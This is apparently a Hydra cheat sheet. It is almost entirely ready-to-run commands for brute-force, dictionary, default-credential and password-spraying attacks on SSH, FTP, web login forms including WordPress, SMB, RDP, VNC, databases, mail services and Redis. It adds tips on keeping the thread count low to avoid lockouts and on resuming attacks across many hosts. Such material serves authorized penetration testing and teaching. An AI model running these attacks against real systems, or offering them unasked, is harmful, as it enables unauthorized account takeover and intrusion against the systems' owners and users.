hydra [options] <target> <protocol>

Run hydra -h to see all available protocols. Common ones include:

# Single username, password list
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://<target>

# Username list, password list
hydra -L users.txt -P passwords.txt ssh://<target>

# Custom port
hydra -l admin -P passwords.txt -s 2222 ssh://<target>

# Try null, same as login, reversed
hydra -l root -P passwords.txt -e nsr ssh://<target>

# Verbose with 4 threads
hydra -l root -P passwords.txt -t 4 -V ssh://<target>

# Alternative syntax
hydra -l root -P passwords.txt <target> ssh

💡 Pro Tip

SSH typically has rate limiting. Use -t 4 (4 threads) to avoid triggering account lockouts and connection bans.

# Basic FTP attack
hydra -l admin -P passwords.txt ftp://<target>

# Try anonymous login first
hydra -l anonymous -p anonymous ftp://<target>

# Multiple users with verbose output
hydra -L users.txt -P passwords.txt -V ftp://<target>

# Stop on first success
hydra -l ftpuser -P passwords.txt -f ftp://<target>

hydra -l <user> -P <wordlist> <target> http-post-form "/path:user=^USER^&pass=^PASS^:F=failure_string"

# Basic login form
hydra -l admin -P passwords.txt <target> http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid"

# WordPress login
hydra -l admin -P passwords.txt <target> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username"

# With cookies
hydra -l admin -P passwords.txt <target> http-post-form "/login:user=^USER^&pass=^PASS^:F=failed:H=Cookie: PHPSESSID=abc123"

# HTTPS target
hydra -l admin -P passwords.txt <target> https-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"

# Using success condition instead
hydra -l admin -P passwords.txt <target> http-post-form "/login:user=^USER^&pass=^PASS^:S=Welcome"

⚠️ Finding Form Parameters

Use browser DevTools (Network tab) or Burp Suite to capture the actual POST request. Look for the form action URL and input field names.

# HTTP Basic Auth
hydra -l admin -P passwords.txt <target> http-get /admin/

# HTTPS Basic Auth
hydra -l admin -P passwords.txt <target> https-get /secure/

# With port specification
hydra -l admin -P passwords.txt -s 8080 <target> http-get /

# SMB attack
hydra -l Administrator -P passwords.txt smb://<target>

# With domain
hydra -l DOMAIN\\Administrator -P passwords.txt smb://<target>

# RDP attack (slow, use few threads)
hydra -l administrator -P passwords.txt -t 1 rdp://<target>

# VNC (password only, no username)
hydra -P passwords.txt vnc://<target>

# MySQL
hydra -l root -P passwords.txt mysql://<target>

# PostgreSQL
hydra -l postgres -P passwords.txt postgres://<target>

# Microsoft SQL Server
hydra -l sa -P passwords.txt mssql://<target>

# Oracle SID required
hydra -l system -P passwords.txt oracle://<target>/XE

# MongoDB
hydra -l admin -P passwords.txt mongodb://<target>

# Redis (password only)
hydra -P passwords.txt redis://<target>

# SMTP
hydra -l user@domain.com -P passwords.txt smtp://<target>

# SMTP with TLS
hydra -l user@domain.com -P passwords.txt -S smtp://<target>:587

# POP3
hydra -l user -P passwords.txt pop3://<target>

# POP3S (SSL)
hydra -l user -P passwords.txt pop3s://<target>

# IMAP
hydra -l user -P passwords.txt imap://<target>

# IMAPS (SSL)
hydra -l user -P passwords.txt imaps://<target>

# Sessions are auto-saved to ~/.hydra/hydra.restore

# Resume interrupted session
hydra -R

# Start attack with specific session file
hydra -l admin -P rockyou.txt ssh://<target> -I

💡 Pro Tip

Start with smaller, targeted wordlists before using massive ones like rockyou.txt. Try common defaults first: admin:admin, root:root, user:password.

# Quick default credential check
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://<target>

# Multiple targets from file
hydra -L users.txt -P passwords.txt -M hosts.txt ssh

# Password spray (one password, many users)
hydra -L users.txt -p 'Summer2024!' smb://<target>

# Service on non-standard port
hydra -l admin -P passwords.txt -s 8022 ssh://<target>

# Output results to file
hydra -l root -P passwords.txt -o results.txt ssh://<target>

# Verbose with all attempts shown
hydra -l admin -P passwords.txt -V ssh://<target>